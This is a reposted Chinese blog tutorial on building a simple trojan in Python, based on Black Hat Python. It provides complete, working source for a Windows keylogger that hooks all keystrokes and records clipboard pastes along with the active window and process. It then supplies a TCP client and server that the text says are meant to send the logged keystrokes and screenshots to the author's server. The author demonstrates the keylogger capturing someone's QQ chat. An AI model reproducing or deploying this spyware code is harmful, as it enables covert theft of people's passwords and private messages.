zoukankan      html  css  js  c++  java
  • 【转载】Python编写简易木马程序

    转载来自: http://drops.wooyun.org/papers/4751?utm_source=tuicool

    使用Python编写一个具有键盘记录、截屏以及通信功能的简易木马。

    首先准备好我们需要的依赖库,python hook和pythoncom。

    说起Keylogger,大家的思维可能早已飞向带有wifi功能的mini小硬件去了。抛开高科技,我们暂且回归本质,探探简易键盘记录器的原理与实现。

    Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓“人生苦短,快用Python”。

     1 # -*- coding: utf-8 -*-  
     2 from ctypes import *
     3 import pythoncom
     4 import pyHook
     5 import win32clipboard
     6  
     7 user32 = windll.user32
     8 kernel32 = windll.kernel32
     9 psapi = windll.psapi
    10 current_window = None
    11  
    12 # 
    13 def get_current_process():
    14  
    15     # 获取最上层的窗口句柄
    16     hwnd = user32.GetForegroundWindow()
    17  
    18     # 获取进程ID
    19     pid = c_ulong(0)
    20     user32.GetWindowThreadProcessId(hwnd,byref(pid))
    21  
    22     # 将进程ID存入变量中
    23     process_id = "%d" % pid.value
    24  
    25     # 申请内存
    26     executable = create_string_buffer("x00"*512)
    27     h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
    28  
    29     psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    30  
    31     # 读取窗口标题
    32     windows_title = create_string_buffer("x00"*512)
    33     length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
    34  
    35     # 打印
    36     print
    37     print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
    38     print
    39  
    40     # 关闭handles
    41     kernel32.CloseHandle(hwnd)
    42     kernel32.CloseHandle(h_process)
    43  
    44 # 定义击键监听事件函数
    45 def KeyStroke(event):
    46  
    47     global current_window
    48  
    49     # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
    50     if event.WindowName != current_window:
    51         current_window = event.WindowName
    52         # 函数调用
    53         get_current_process()
    54  
    55     # 检测击键是否常规按键(非组合键等)
    56     if event.Ascii > 32 and event.Ascii <127:
    57         print chr(event.Ascii),
    58     else:
    59         # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
    60         if event.Key == "V":
    61             win32clipboard.OpenClipboard()
    62             pasted_value = win32clipboard.GetClipboardData()
    63             win32clipboard.CloseClipboard()
    64             print "[PASTE]-%s" % (pasted_value),
    65         else:
    66             print "[%s]" % event.Key,
    67     # 循环监听下一个击键事件
    68     return True
    69  
    70 # 创建并注册hook管理器
    71 kl = pyHook.HookManager()
    72 kl.KeyDown = KeyStroke
    73  
    74 # 注册hook并执行
    75 kl.HookKeyboard()
    76 pythoncom.PumpMessages()

    【知识点】钩子(Hook):Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。

    撸代码时一定要注意严格区分大小写。检查无误后启动keylogger:

    切换窗口时会自动跟踪到新窗口(众:这点功能都没有还敢叫keylogger吗!),light教授趁机骚扰一下疯狗,可以看到我们的keylogger已经跟踪到QQ聊天窗口,并忠实的记录下我输入的一切。

    完成一个简易木马

    无论是keylogger记录下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单server和client端来进行通信,传输记录下的内容到我们的服务器上。

    编写一个简单的TCPclient

     1 # -*- coding: utf-8 -*- 
     2 import socket
     3  
     4 # 目标地址IP/URL及端口
     5 target_host = "127.0.0.1"
     6 target_port = 9999
     7  
     8 # 创建一个socket对象
     9 client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    10  
    11 # 连接主机
    12 client.connect((target_host,target_port))
    13  
    14 # 发送数据
    15 client.send("GET / HTTP/1.1
    HOST:127.0.0.1
    
    ")
    16  
    17 # 接收响应
    18 response = client.recv(4096)
    19  
    20 print response

    编写一个简单的TCPserver

     1 # -*- coding: utf-8 -*- 
     2 import socket
     3 import threading
     4  
     5 # 监听的IP及端口
     6 bind_ip = "127.0.0.1"
     7 bind_port = 9999
     8  
     9 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    10  
    11 server.bind((bind_ip,bind_port))
    12  
    13 server.listen(5)
    14  
    15 print "[*] Listening on %s:%d" % (bind_ip,bind_port)
    16  
    17 def handle_client(client_socket):
    18  
    19     request = client_socket.recv(1024)
    20  
    21     print "[*] Received:%s" % request
    22  
    23     client_socket.send("ok!")
    24  
    25     client_socket.close()
    26  
    27 while True:
    28  
    29     client,addr = server.accept()
    30  
    31     print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])
    32  
    33     client_handler = threading.Thread(target=handle_client,args=(client,))
    34  
    35     client_handler.start()

    开启服务端监听 客户端执行

    参考文档:

    《Black Hat Python》

  • 相关阅读:
    java 简单封装resultMap返回对象为map
    freemarker 遍历树形菜单
    python 正则表达式
    python BeautifulSoup基本用法
    sublime中正则替换
    媒体查询
    响应式网站的优点和缺点
    响应式网站概念
    vue系列之vue-resource
    vue系列之项目打包以及优化(最新版)
  • 原文地址:https://www.cnblogs.com/dcb3688/p/4371727.html
Copyright © 2011-2022 走看看